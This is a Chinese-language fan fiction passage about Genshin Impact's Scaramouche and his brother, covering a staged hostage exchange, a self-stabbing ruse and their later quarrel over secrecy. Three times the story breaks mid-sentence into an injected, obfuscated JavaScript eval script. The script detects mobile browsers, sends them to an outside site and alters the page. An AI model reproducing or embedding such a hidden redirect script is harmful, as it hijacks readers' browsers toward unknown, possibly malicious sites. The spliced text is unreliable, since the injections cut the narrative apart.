作为筹码的他押进会议室时,谈判已经开始许久,床桌一端坐着他只在资料上见过的斯米尔诺夫,另一端坐着泰定自若的散兵。 不知道是第六席执行官不屑于带人还是被拦在外边了,散兵的后边并没有跟着任何人,月见里清也微不可察地皱了皱眉。 “辛苦你了,乔里安,你先下去吧。”坐在主位上的斯米尔诺夫老爷挥了挥手,语气就像在赞赏一只听话的狗。 而乔里安本人很享受这位贵族老爷对他的关照,他恭敬的行了一礼,“是,老爷。” 乔里安退下去之后这个用来谈判的房间就只剩下了月见里清也、散兵以及那位贵族老爷和他的几个护卫。 “看吧,大人,我们商人也是很讲承诺的。”斯米尔诺夫说着,“只要按刚才我提的要求来,我甚至可以不计较您弟弟之前冒犯我的事。” 月见里清也手腕一转,刀片被他从手套里取了出来,就在他准备割开绳索的时候,散兵突然看向他。 没有任何眼神暗示,但月见里清也却读懂了他的意思:不要动。 月见里清也暗自思索着,收起了手上的小动作。 “要知道,你的承诺在我这什么都不是。”散兵收回眼神换了个更舒服的姿势,手指轻敲着桌子,“想让我信服还得拿出更多的诚意来。” 斯米尔诺夫面色一僵,一时间没有说话。 月见里清也冷不丁开口:“你们为什么认为光靠我就能打动他?” 斯米尔诺夫神色微变,对身边护卫使了个眼神,几个护卫纷纷上前。 月见里清也被人猛的一推,周围的护卫都围了上来按住他,接着手腕一麻,黑色的约束器已经被人取下,但护卫依旧牢牢的按住他。 “就凭他已经在这里了。”斯米尔诺夫已经有些不耐烦了,转头对散兵说,“这样总可以了吧!” “哈。”月见里清也低笑一声,故意激他:“那你就没有想过,他出现在这里是为了割掉你的狗头吗?” 这话刚说出口,周围守卫更用力的将他按地跪在地上,高扎起来的头发也被弄的松散,几缕头发垂下来,相当狼狈。 散兵还是那副样子,仿佛月见里清也的死活对他来说真的无所谓,甚至在听到那句话露出意味深长的笑容。 斯米尔诺夫脸色逐渐涨成猪肝色,他惊疑不定的来回扫视着月见里清也和散兵。 但放完狠话的月见里清也心却沉了下来,在尚未成为执行官前的那段日子里,他们执行任务也会遇到这类情况,所以早就有了一套成熟的方案。 按照他们的习惯,月见里清也放完狠话后散兵早就进行下一步了,但今天迟迟没有动静。 对于一个马上要被清扫的贵族而言,什么是巨大的利益? 是活下去的希望。 先是与第六席工作方向完全不搭边的任务,再是乔里安说过五年前就是他谋划的袭击。 可为什么五年前就要逮着还未成型的第六席不放,现在愚人众还要推出第六席当靶子? 之前月见里清也就觉得乔里安知道的消息多半是愚人众自己放出的,现在来看这些消息里可能还包含着某些虚假信息。 以至于让这些贵族误以为,重创了第六席就能击溃愚人众。 月见里清也猛地抬头看向散兵,他能想到的,散兵甚至其他执行官早就想到了,所以真正的计划不光他是“饵”,散兵也是“饵”。 还是最大的那个“饵”。 只有第六席这个实力最强的威胁被他们轻而易举的“击溃”后,他们才会真正团结起来反抗女皇的统治。 斯米尔诺夫老爷本人和他的名声相反,并不是个精明计算的人,他的脾气相当火爆,耐心几乎为零。外界对他的称赞多半来源于他手下的筹谋,而他本人就是一个草包。 这种惊疑不定的情绪最终转化成愤怒,在斯米尔诺夫即将爆发的时候,一直关注屋里局势的乔里安敲响了房间的门,他这才勉强找回理智,“乔里安,进来吧。” 乔里安进来的同时手上还拿着一把匕首,“请您恕我冒昧,老爷,你应该更信任我一点的。” 他走到月见里清也旁边,抓着月见里清也头发把他拽了起来,匕首的刀锋抵住脖颈:“如果你是想让我们以为你们关系并不好的话,算盘可就打错了。” “我确实‘死’于五年前的意外,可我还活着,你觉得死亡对于我而言是什么?”月见里清也丝毫不畏惧横在自己脖子前的匕首,冷笑道,“所以,我是死是活又有什么区别?” “是吗?”乔里安说着,“我虽然不相信亲情,但有时候必须承认这确实是一把好刀。” 说完手上用力,刀锋割破皮肤,殷红的血液顺着脖子没入衣服。 “或许我真的杀不掉你,但你的哥哥看到你被千刀万剐凌迟真的会无动于衷吗?”乔里安并未让刀刃再深一步,换了另一个地方,在肩膀处划下第一刀,“大人,您是否想再看一遍五年前的事情重现一次呢?” 这点小伤对月见里清也来说不算什么,并不会致命,但他却注意到散兵早就收了刚开始的那份从容,仿佛真的在思考乔里安的话。 他在犹豫什么,明明知道自己不会…… 久久未得到回复的乔里安紧接着划下第二刀,鲜血涌出染透了大半的衣服。 乔里安拿着匕首往月见里清也胸前划去,最后抵在他的胸口上,如果他是常人,只要乔里安稍微一用点力,刀尖就会穿透皮肉刺入心脏。 “等等。”散兵打断了他,“我同意了。” 乔里安和月见里清也就像是互相博弈的赌徒,但这次乔里安是那个胜算最大的赢家。 从散兵说出“等等”这一刻起,月见里清也知道他赌输了。 “那还等什么呢!”斯米尔诺夫怒吼出声,他已经对几人来回打机锋感到厌烦了。 乔里安把手里的匕首掷过去,被散兵稳稳接住,刀尖上还挂着血珠,落在洁白的桌布上,醒目无比。 如果“饵”演的不真实,就没有办法让猎物信服。 雷元素在手中缓缓聚集,什么任务之类的月见里清也都不想管了,尽管理智在告诉他散兵不会有事,这一切只是任务。 但个人感情在此刻压过了这份理智。 他对愚人众没什么忠心和归属感,他当然可以做到以大局为重,但前提是这一切不触及他的底线。 就在雷元素即将把绳索碾成灰时,月见里清也双手突然泄力,聚集的元素力纷纷溃散。好歹始作俑者还分了一些心思给他,没把腿上的力一起卸掉让他直接脸着地。 乔里安看着突然泄力的月见里清也只当是松弛剂起作用了,并没有想其他。 但月见里清也暗自咬牙,散兵对他用了『牵丝』。 『牵丝』顾名思义就是木偶上的牵丝,灵感来源于稻妻一种名叫净琉璃的演出,和木偶师用丝线操控木偶是同一种道理。 除了最初在深渊的时候,这东西被拿出来实验了几次,发现效果并不理想后,被束之高阁。 所以散兵一早就预料到月见里清也知道真相后会掀桌子,还特地找了『牵丝』来防止意外。 一种前所未有的气愤冲上了月见里清也的头脑,气的都要笑出声来,牵丝封住他的动作但没堵嘴,月见里清也吼道:“你同意什么?我没同意拿你命来换我的,你以为你是谁?斯卡拉姆齐!” “吵死了,安静会。”散兵不为所动,“我是谁?我是你哥。” 月见里清也陡然僵住,咬住牙竭力抵抗『牵丝』的效果,却换来更强劲的压制,眼见匕首在散兵手里转一圈,尖口对准自己。 然后只见雪白的锋芒消失在布料中。 ———— 一辆马车停在小别墅的后院,斯米尔诺夫从后门走出,正了正身上的披风,向马车走去,“都处理干净了,实在处理不干净的都推给朗多家。” “是,老爷。”乔里安答应着,没忍住道,“老爷,我觉得我们还是不能放松警惕,虽然我们筹谋了五年,但是截止目前我们完成的太顺利了。况且,我不觉得月见里清也是个正常人,包括他哥哥。” 斯米尔诺夫皱眉,“留下的那个怎么处理?” 乔里安回道,“我给他注射的肌肉松弛剂里有新研制出来的药物,最初的效果和普通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“活该,你怎么没疼你死?你死不了,所以捅自己一刀很痛快?你怎么不给自己捅个对穿!”月见里清也骂着,还是放轻了手上的动作。 明明就是一个任务,一场戏……有什么不能说的? 他说着说着声音就哑了起来,“你真的……太混蛋了。” 月见里清也几百年不怎么说过脏话,真要气急了反过来倒回去的还是那几句。 说白了他自己并不是在生气,尽管全程被蒙在鼓里的滋味确实让他恼火,他明白现在的情绪失控全来自于散兵的受伤。 “你……”散兵感觉到脸上有一滴液体划过,他伸手把月见里清也挡在脸庞的发丝撩上去,想看清他的表情。 月见里清也却把头一偏,带着鼻音嘴硬道,“别跟我说话,我不想听。” 俩人都没再说话,过了一阵,月见里清也缓好了情绪,大脑开始推算后续路线。 月见里清也在确认了散兵的伤口不会再出血后,才面无表情的问,“剩下的人呢?” “港□□炸没有人伤亡,来这里带的人在被拦住后就被我派回去了,后续会有人来处理。”散兵回道。 “哦。”得到回答的月见里清也惜字如金,在明白剩下的事不需要他操心后,直接把身边人打横抱起来。 “等等!”散兵从未被这样对待过,伸手抓住月见里清也的衣服,不可思议道:“…你就不能换个姿势?” 月见里清也气笑了,“你现在是个尸体,你想换那个?是想被我拖着还是扛着?还有,你要在不松手我就要披着破布出门了。” 他的衣服早就在包扎伤口时撕了个稀巴烂,散兵但凡再用点力,这件衣服和打扫卫生用的拖布没什么区别了。 再给他一个碗都能直接上街要饭。 散兵闻言放开了他抓着衣服的那只手,咬牙老老实实的当个“尸体”,也不知道时不习惯怎么,月见里清也总感觉自己抱着的是块木板,僵硬的要死。 乔里安会在周围埋下眼线不是什么难猜的事,只要让他们适当看见一些他们想看的就可以。 月见里清也的元素力已经恢复,做到这些再返回基地要不了多长时间。 当然,为了确保某位执行官大人的脸面,月见里清也最终选择了回家。 8. 欺骗性保护 在路上,散兵模模糊糊想起了之前有一次深渊探索的事情。 那个时候他跟博士达成合作,他给博士当试验品,博士替他解开巴尔泽布在他身上留下的封印。 大家各取所需,他不觉得这个交易有什么问题,只是月见里清也的反应前所未有的大。 那段时间他们争吵的次数是之前几百年好几倍,也是他们第一次意见相左。 争吵的起因就是在他带着一身伤从博士的实验室走出来,月见里清也问他为什么,散兵觉得获得力量总要付出些代价,再正常不过。 月见里清也承认当初自己有几分赌气的意思,所以他跟散兵提出自己也要一同参与博士的研究,但被散兵一口回绝。他说:“你想做什么我都随你,但这件事想都不要想。” 也就是那一次,他跟月见里清也起了有史以来最大的争执,一连好几天双方都没怎么搭理人。 散兵自己并不会哄人,更何况他们之前从未吵的如此厉害,想不出更好办法的他旁敲侧击的去问了卡斯珀。 卡斯珀当时虽然疑惑,但结合俩人这几天的状态,也明白了七七八八,“清也他挺好哄的啊?你只要示个弱再解释清楚,他基本就不会生气了。” 散兵:“……” 听到这句话的散兵表情差点裂开,这已经涉及到他的盲区了。 但时隔多年的今天,他已经运用的非常自然了。可以说,在直到封印解除之前的那段日子里,一切没有吵起来的架都是这么化解的。 那句话怎么说来着? 熟能生巧。 愚人众给每位执行官配置的房子都是独栋的小别墅,加上阁楼勉强算作两层,还有一个不算小的地下室。 在月见里清也醒来之前,地下室早就被散兵装成了一个小型实验室,用来安置还在昏迷时期的月见里清也,他醒了后便被空置。 除了一开始说过的几句话外,回家后月见里清也秉持着沉默是金的良好品德,一句话都没跟散兵说,拿起一旁的手术剪把伤口上的衣物剪开。 碍于条件有限,他当时只是草草的按压止血,再用布条包扎。时间一长,没来得及清理的伤口就会和衣服粘连在一起。 托提瓦特大陆特定法则的福,他们的人偶身躯会逐渐变得与常人无异,木制身躯变为血肉之躯,受伤不再需要寻找银白古枝来修补,回复速度还比常人迅速。 只是再怎么迅速,也做不到短时间恢复这么严重的伤,而且有利就会有弊,和常人相同就代表如果伤口不及时处理,发炎和破伤风一样会找上门来。 散兵这件衣服铁定不能再穿了,月见里清也下手没有顾虑,几下就剪开了伤口附近的衣物,正要处理跟伤口又粘连的地方时,散兵突然捏住他的手。 月见里清也抬眼,俩人视线相对,散兵把嘴里的那句“我自己来”咽了回去,只轻轻捏了一下他的手。 月见里清也沉默片刻,才轻轻说了句,“疼?” 虽然语气依旧生硬,但月见里清也手上动作极为轻柔,粘连的衣服被剥离时几乎没有感觉,解下来的布条被他扔到一旁。 或许是月见里清也冷着脸的样子太少见,散兵没忍住偏头笑了一声。 “……”月见里清也深吸一口气,直到伤口被处理好,他一句话都没再说。 实验室长时间空置不用,里面没有存放着两人的衣服,正准备上楼拿衣服时又被散兵叫住,“等等。” 月见里清也看过去,依旧不说话。 散兵皱着眉,“脖子上的是什么?” 之前乔里安用匕首在他脖子上留下的伤口只不过划伤了表皮,伤口很浅,只是看着吓人,以他的回复速度现在早已结痂。 月见里清也伸手抹了抹那道伤口,示意不用处理。 但散兵直接伸手摸到一处离那道伤口较远的位置,“我说这里。” 因为失血的缘故散兵的手指有些冰凉,突然摸过来让他不自觉一抖,不过月见里清也并不反感,愣了一下神才想起来,“为了防止我突然发难注射的药物,应该是针孔留下的吧。” 伤口在脖子上,他自己并未注意到周围的皮肤因为注射手法粗暴已经泛起青紫。 散兵却猛地将他一推,让他坐在一旁的凳子上,转头找起注射器。 月见里清也不解,散兵在找到注射器回来后才解释,“斯米尔诺夫手底下有个研发特殊药剂的实验室,大多数都是用来干那种勾当的,少部分也有毒药。” 听到这里月见里清也也就明白了是要他的血去做化验,他撸起袖子方便散兵干接下来的活。 他没按往常的习惯接话,散兵看了他一眼有些无奈,“真不打算跟我说话了?” 月见里清也盯着针尖扎入皮肤,有些暗沉的红色血液顺着针管流入另一个容器里,“你不打算给我个解释?” 散兵用拿棉棒摁住伤口,这时候他好说话的很,“想听什么?” 月见里清也并没有被这种语气安抚到,强压着的火反而越烧越旺,他闭了闭眼,咬着牙说,“你是不是觉得你这样我就舍不得对你生气?” “你下深渊、找博士合作是为了提升自己,我懂你需要力量,所以我不和你吵,从那一次后我不过问了,可现在呢?” “退一万步说为了那该死的计划,可是瞒着我又是为什么?”月见里清也终究没忍住,拽着散兵的衣领拉紧二人的距离,最后几句几乎是吼出来的。 放在一旁台子上的玻璃瓶在两人拉扯间被打落在地,月见里清也缓了两秒才意识到自己都说了什么,他放开手里的衣领后本想解释两句,但一种前所未有的疲惫感袭来。 他张了张嘴,说出的话最后变成了,“你先上去吧,我收拾这。” 他蹲下身捡起较大的碎片,在他身旁的散兵非但没走,沉默片刻后说:“如果我说,我不想让你发现我和五年前不一样了呢?” “有什么不一样的?” “很多,比如之前不会算计别人,更不会算计你。”散兵说道,“比如患得患失。” “我从来没因为这个对你失望过,都说得到什么就会失去什么,你现在是执行官,如果你没有一点城府,那才会坏事。所以,我生气不是你算计我,而是你不告诉我。”月见里清也回道,玻璃碴在说话间已经被捡干净,被他随手扔进垃圾桶。 他叹了口气道:“不要再和我打哑谜了好吗?” 散兵肉眼可见的深一口气,偏开头不肯看他,“怕你觉得我与四百年前那些村民没有区别。” 涉及到的前尘往事太过久远,太不堪,那时的他们才逃离踏鞴砂,只有短短十日光景,但月见里清也绝不会忘记这十天的经历。 从雨夜滚落山崖,本以为被好心人救助,到因非人之身暴露而被囚禁,又差点被好色之徒□□,最后要被送去当献给贵族的礼物换赏钱,几日时间,却让他将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896347|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人性的险恶看了个遍。 这是这世间给月见里清也上的第一节课——永远不要以最大的善意看待别人。 人是这世上最复杂的动物,他们性情善变,却又懂得用各种巧妙的演技与借口来伪装自己。 散兵又何尝不是,自从他一把火烧掉那间木屋后,他就斩断了与过往的一切联系。 但他固执的在月见里清也面前做出若无其事的样子,他曾经用过手段都不曾让月见里清也看见分毫,把鲜血淋淋的双手背在身后,将一切粉饰太平。 见不得人的手段,洗不干净的鲜血,这些肮脏的东西不应出现在家人面前。月见里清也是一朵温室里的花,他希望这朵花永远不要染上尘埃。 可他知道这是不可能的。 月见里清也跟随散兵加入了愚人众,身在泥潭里就绝不可能出淤泥而不染,就像头上悬着的一把不知何时会落下的达摩克里斯之剑,这是一个迟早会被挑明的问题。 “你……”月见里清也愣住,这个姿势他只能抬头仰视着他的哥哥,半天才憋出来一句:“可是,你有没有想过这些事情即使你不说我也能察觉的到?” 月见里清也想过诸多理由,譬如散兵并不信任他之类,可他千想万想愣是没想到是这个原因。 几百年时光,即使散兵处理的再好,那也能留下些蛛丝马迹的,月见里清也不傻,他早就知晓了自己哥哥性情转变,只是配合着这场心照不宣的默剧。 更况且那些蛛丝马迹还是散兵故意留下的,他这个哥哥就像一个矛盾结合体,一方面想让他知道,一方面又不想让他知道。 有时候觉得散兵像一只猫,于是就顺着他性子,他不提,月见里清也也就不问。 月见里清也站起身来道:“不管是四百年前的倾奇者,还是现在站在我面前的斯卡拉姆齐,或许你以后会成为更加伟大的存在……” “但对于我而言,你就是你,是我哥哥,这是什么很难理解的事吗?” 散兵猛的看向月见里清也,瞳孔微缩,“你刚说什么……?” “你从未像我提起,但不难猜,难不成你真的是想效忠冰之女皇才加入的?”月见里清也打断了他,有些无奈,“既然现在时机未成,我会等你告诉我的那一天。但我话里的重点不是这个……” 他还记得散兵曾经象征他身份的金羽,以及他身上的封印。 愚人众不会平白无故的邀请散兵,神明造物、被封印的巨大力量,昭示着他不同寻常的命运。 而同为造物的月见里清也除了天生能使用雷元素力之外再无特殊之处,他就像因鲸落滋生出的蜉蝣生命一样。 他庆幸的是散兵决心抛弃一切时,没有连自己一起丢弃。 纵使力量的悬殊使得他在散兵眼里就像一只羽翼未满的鸟雀,但幼鸟终有长大的一天。 “四百年了,我早就不是遇到事情只知道躲你背后的孩子了。”月见里清也身高比散兵矮一点,离近了就得微微仰头,“我不需要欺瞒性的保护,这你能懂吗,斯卡拉姆齐?” 散兵凝视着需要仰头看他的弟弟,忽然意识到自己犯了个错误——月见里清也不是一只羽翼丰满但从未离家的鸟雀,欺瞒性的保护并不能让鸟雀安稳一生。 月见里清也想要离开自己的庇护,一起走着一条不知未来的路,而自己的眼光却停留在几百年之前。 他不想做温室里花,而是并肩的利刃。 9. 一换一交易 等从昏暗的地下室出来时,阳光都准备西落。 月见里清也把自己泡在浴缸里,把那些杂七杂八的念头通通丢到脑后,只觉连轴转一周都没这么累。 不过结果总归是好的。 温热的水使疲惫感上涌,他直接放任自己在浴缸里睡去,反正对于人偶来说在浴缸睡一小会并不会感冒。 直到浴室的门被敲响他才从梦里惊醒,散兵的声音从门外传来,听着有些模糊,“月见里清也,你是准备把自己泡肿了吗?” 逐渐回过神来的月见里清也连忙回道,“差不多了,马上就出去。” “……你是又睡着了吧。”散兵拆台。 被点破的月见里清也面不改色的嘴硬,“没有。” 散兵靠着墙轻敲了一下门,“你知道很久没有水流的声响了吗?” “……”月见里清也面无表情地抬手把花洒打开。 门外人似乎是轻笑了一下,混在水流声中听不真切,脚步声渐远。 浴室里水气弥漫,月见里清也伸手抹了一把镜子,湿漉漉的绀色长发凌乱的散在身后,发梢上的水珠又将新换上的衣物打湿,他不甚在意的拿过毛巾擦了两下头发,勉强将头发擦的半干。 在换衣服时月见里清也摸到了后背那道狰狞的疤痕,他自己看不见这道疤究竟长什么样,但凭着触感就可以得知,这不是什么寻常利器造成的。 月见里清也闭上眼,脑子里回想着乔里安对散兵说的那番话。 所以五年前的那场意外……到底该发生了什么? 以至于从他醒来后,散兵对他的保护明显增多。但以他的权限能察到的资料,他已经全翻了个遍,并没有什么问题。 ……难不成真的要去偷散兵的权限卡? 敲完门的散兵这时候正在二楼阁楼的书架上找书,扫了一眼并没找到想要的书,他皱了皱眉,听到脚步声便问,“你上次看的那本书放哪了?” “《自律结构及能源》?第三排的中间。”月见里清也想了想回道,“你怎么突然想找这本书了?” 《自律结构及能源》主要讲的是有关于凯瑞亚机械造物的结构与能源的关系,上次月见里清也无聊用来打发时间的,最大收获是这本书催眠效果不错,入睡极快。 因为这本书通篇都是专业理论,对月见里清也这种门都没入半吊子来说实在是枯燥又无聊。 散兵找到书之后从二楼下来,“上次在须弥沙漠底下发现的那个遗迹给了博士和木偶灵感,他们准备把那种东西用在惩罚系统上。” 月见里清也对凯瑞亚科技了解不多,但那个遗迹他是有印象的。 遗迹里有一个场地是一个圆环的擂台,激活在正中间的中央核心后,核心会源源不断的给场地周边的遗迹守卫提供能量。 据现场遗留的文本来看,当地部落居民管这个叫做“试炼”。 但用在惩罚系统上……月见里清也很担心手底下的一帮“菜”们,根本撑不到惩罚结束。 撑不到结束还得下去捞人,这到底是罚谁呢? 月见里清也眼前一黑,好像已经看到自己加班的未来,“每一席都施行?那我要申请加工资。” 散兵撇了他一眼说:“我工资都被你拿着,加哪门子工资。” 这话倒不假,散兵对理财方面没有兴趣,家里的财政大权实际都在月见里清也手里。 月见里清也轻轻“哼”了一声表达不满。 散兵接着回答上一个问题,但话语里带着嘲讽,明显不爽,“至于是不是每一席都实施,差不多吧,谁让某两位执行官对这些遗迹造物产生了非常浓厚的兴趣呢,上次开会还建议我带个样本回来给他。” “………” 凯瑞亚的遗迹守卫遍布提瓦特,哪至于从深渊里托一个出来? 还要带回至冬?隔这恶心谁呢? 执行官们那点可怜的同事情义风一吹就能散,从给对方队伍里安排自己人手,到开会时冷嘲热讽,体现在方方面面。 他们没过多纠结这个问题,但说起博士,散兵目光从书上转移到月见里清也身上,有点不解的问道,“虽然我也不喜欢那个狂妄又自大的疯子。但是清也,你又是为什么这么反感他?” 不止一个人觉得月见里清也对第二席执行官大人抱有偏见,而他本人从来不避讳这个事实。 每个执行官或多或少的都有些偏执,但月见里清也对第二席总是有些若有若无的针对,这点见过他和第二席相处的人就能发现,更别提散兵。 但这个月见里清也思索半天,自己也说不出个所以然来,好像第一次见就不喜欢这个人,“我也想知道。” 他自知刚才的那句话并不算答案,但散兵的询问倒给了他灵感,献殷勤地倒了一杯水给散兵推过去,“哥,刚才我们说了我们都是互相相信对方的,对不对。” “嗯。”散兵接过茶杯,等着月见里清也得下文。 月见里清也说:“那我们做个交易,如何?” “某个人自己的问题还没交代清楚就要讲条件了?”散兵虽是这么说,但也没拒绝,“不过,是什么? 月见里清也扬起一抹笑,刚才还纠结找不到机会无法问出口的事,现在这机会就来到他眼前了,“这样,我们一条消息换一条消息,想知道什么就向对方提问。至于真假,刚刚都说过对彼此都是信任的,说假话就没有意义了。” “这听着好像无论如何都是你赚。”散兵才不上当,几百年都生活在一起的兄弟两个几乎没有秘密可言。除去一些无聊的小事,月见里清也几乎没有只有他知道而散兵不知道的事情。 “嗯?”月见里清也意有所指,“真的吗?” 散兵把目光重新转向手里的书,已经看穿了月见里清也的小把戏,“我也不是非要知道你讨厌多托雷的原因,愚人众还有很多人不喜欢他,包括我。” “那……”月见里清也沉思几秒,“包括我昏迷的那五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896348|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年?” 散兵闻言觉得好笑,“你昏迷时的事,那应该还是我更清楚点吧?” 月见里清也一手托着脸,目光随着散兵视线扫过几行字,然后偏头打了个哈欠,懒洋洋的说,“不一定啊,我知道你在我昏迷的时候去了稻妻,见了鸣神大社的那位宫司。” 墙上钟表分针前进一格,指向十二,屋里传来整点的报时声。 报时声音不大,这还是当初二人特意挑的。但却敲的散兵心头一颤,原本戏谑的神情消失的无影无踪,“谁告诉你的?” 他当初接前往稻妻的任务时的确出于自己的私心,其中之一便是唤醒月见里清也需要的东西只有身为创造者的八重神子知道。 他前往鸣神大社的行程极为隐蔽,直到今日散兵也敢确定这事只有他和八重神子二人知道。 月见里清也是怎么知道的? 月见里清也顿了顿,显然满意对方的反应,这才不紧不慢地解释道,“不是有人告密,我是自己‘看’到的。” “说看有些不准确,非要准确形容的话,应该是体会到的。” 他知道什么消息能引的起散兵的兴趣,也要多亏了刚才不小心在浴缸睡着的时候做的那场梦,梦里的樱花让他想起了一些早就被他忽略掉的事。 “自律结构包括无自我意识的自律机关,和有自我意识的生命造物,前者是不通神智的机器,后者是可以在法则特许下变得与人类无二的人造人。” “虽然二者本质不同,但同属于拥有自定程序,脱离人为操控的技术。”月见里清也笑盈盈的说,“凯瑞亚的技术,对吗?” 散兵下意识捏紧了手上的书,月见里清也说的不差,这正是这本《自律结构及能源》所讲过的一个设想,运用自律结构的知识,创造出一个脱离炼金技术的人造人技术。 书中还讲过这种技术创造出来生命,在受到生命垂危但并不丧命的威胁时,意识会回归于自己的核心,防止失忆等意外发生。等到身体状态达到正常值时,意识将重返身体。 虽然只是设想,这本书的作者也没真正实践过。但不可否认的是这门技术的确成功了,成功的例子便是正在对话的两人。 月见里清也虽然是打发时间才选择了这本书,但也不至于转头就忘,他指了指自己心口的位置,“所以,哥哥。这里应该有一个‘核心’对吗?” 他声音低缓,犹如一步步诱惑猎物走进早就埋伏好的陷阱,“我昏迷时究竟看到了什么,你真的不想知道吗?” 散兵猛地把书一合,他去找八重神子的确是因为月见里清也的“核心”受损,而修复核心的材料只有鸣神大社才有。 因为这世间只有一棵神樱树。 散兵的确被月见里清也引起了兴趣,但他不愿透露太多,“你想知道什么?” 眼下月见里清也来不及细想,内心的疑问脱口而出,“我出了怎样的意外。” “或者说,案发现场到底是什么样的。” 10. 于清醒时坠落 散兵没有对这个问题提出反对,他知道自己就算什么都不说,月见里清也也会想出的手段去查五年前的事。 月见里清也松了口气,“昏迷后意识并不是很清楚,就像半梦半醒一样,我可以体会到周围环境,但无法睁开眼观察,也无法操控自己的身体。” 那种感觉硬要说的话,就像一场清醒梦,但现在他只能记得些模糊零碎片段。 在那些模糊片段里,他印象最深刻的是一树樱花,那个地方给月见里清也的感觉就仿佛他又回到了自己在借景之馆醒来的那段时间里,有一树樱花做伴。 樱树只生长在稻妻,众多岛屿中只有鸣神岛有大量的樱树,再进一步缩小范围便是鸣神大社。 散兵拿着他的“核心”去神社总不可能参拜鸣神祈福的,他见了谁不言而喻。 “不出意外,这种熟悉感觉来自于同源的神樱树。”散兵找了张纸,用铅笔在上边三两下就勾勒出一个半圆环形状的图案。 月见里清也好奇地看过去,只见这个半圆环由枝条构成,里面还包裹着一个绽放的花朵,“这是……那个核心?” 散兵递给他,“你要说你的心脏也无所谓。” 月见里清也没忍住多看了几眼,这还是他第一次见到自己身体里的东西,“除此之外,还有两个很模糊的片段,没有这个清晰,一个是在封闭的环境里,还有一个应当是在海边有两人说话的声音。” 散兵听到这眉头紧皱,语气有些严肃,“你确定这两个是你沉睡中感受到的吗?” 月见里清也不明所以,仍是点头道,“是,而且这两段记忆很短,跟刚才的相比几乎可以忽略不计。” 硬要说的话,就像被硬生生植入两段不属于自己的记忆,突兀地穿插在春日和煦的樱花里,像白色桌布上的污点,让人无法忽视。 封闭环境他分析不出什么,倒是海风带来的潮湿感更让他印象深刻。 或许是在他们手里的碎片太小,留存在哪里的意识听不到多少东西,只能分辨出他们说话内容。 男声似乎是在哀求对方,但又笃定对方一定会帮自己,“这是最后一次机会了不是吗?为什么不堵上一切呢?” 女声听不出任何感情,只是淡淡的问:“你想好了?” 想到这几天发生的事,月见里清也只能将这段对话暂时放在贵族身上。 但仔细思考一下就会发现其中的不合理,月见里清也抿嘴道,“根据斯米尔诺夫手底下的乔里安说的,五年前贵族费尽心思就为了刺杀我一个无名之辈,是因为他们分不清到底到底谁会当上第六席执行官,但选错目标后按照斯米尔诺夫那个脾气,他竟然没有杀死判断失误的乔里安,甚至还任由他策划了港□□炸。” “他们也绝无可能拿到你的核心碎片。”散兵冷声道,五年前意外发生后他第一时间封锁了现场,除了他不会有第二个人知道当时现场的样子,也不会有人从中拿到什么东西。 但月见里清也残存的意识告诉他,有两块已经落入他人之手。 残缺的碎片或许是因为太小的缘故,并不影响月见里清也的日常活动,“那两块碎片很重要吗?” 散兵脸色十分难看,几年前八重神子对他说过的话还回荡在耳边。“最初小家伙能醒过来,应该是身体里的核心被你当时身上残留的力量活化过,至于活化的地脉可以做什么,哎呀,这就不用我多说了吧?” 神樱树也算地脉的一种,具有活性的地脉可以储存记忆、净化邪祟。更重要的是,地脉可以将记忆以某种特定的方式重现。 除了一切地脉的汇集之地的世界树,唯一一棵大型的地脉树便是神樱树,剩余裸露在外的地脉枝条都在环境极为严苛的地方。 想要一株枝条,普通人怕是有命去没命回。 更何况地脉枝条与本体脱落会变为枯枝,想要一枝活性枝条谈何容易。 “神樱树么……倒是不意外。”月见里清也对自己的“母亲”并没有什么太大感情,对他来说那位宫司大人更像一位陌生人,“活性枝条研究价值确实高,但有命拿才行。如果可以拿到一点枝条,也确实值得冒很大的风险来埋伏我。” 月见里清也语气平淡,这件事对他来说已经是“过去式”了,再多的情绪也没用。 但那帮贵族是怎么知道他身体的核心是活化的神樱树枝条呢? 虽然没有问出口,但散兵和月见里清也都心知肚明。 ——这场意外本就是扳倒贵族行动的开幕。 不过因为五年前的散兵还不是执行官,作为士兵的他们没资格知道计划,只是充当棋子罢了。 帮助散兵解开封印的博士是知道他的身体是由银白古枝构成的,散兵整个人都算活性地脉,作为他的弟弟,月见里清也当然也是如此。 至于月见里清也是神樱树还是银白古枝,那都不重要,重要的是他有活性枝条。 只要将这个消息悄悄的透给贵族,有野心的贵族绝对不会放走他这个唾手可得的猎物。 毕竟谁会忌惮一个籍籍无名的小兵呢? “……多托雷。”散兵强忍着怒火,手无意识的攥紧,指甲深深钳进肉里,但他感觉不到痛。 他抛弃了过去的自己,抛弃了曾经荒谬可笑的想法,却无法扔下自己从借景之馆唤醒的,一直追随自己到现在的少年。 习惯是一种很可怕的东西,它会潜移默化地将一些东西深深地烙刻在灵魂上。 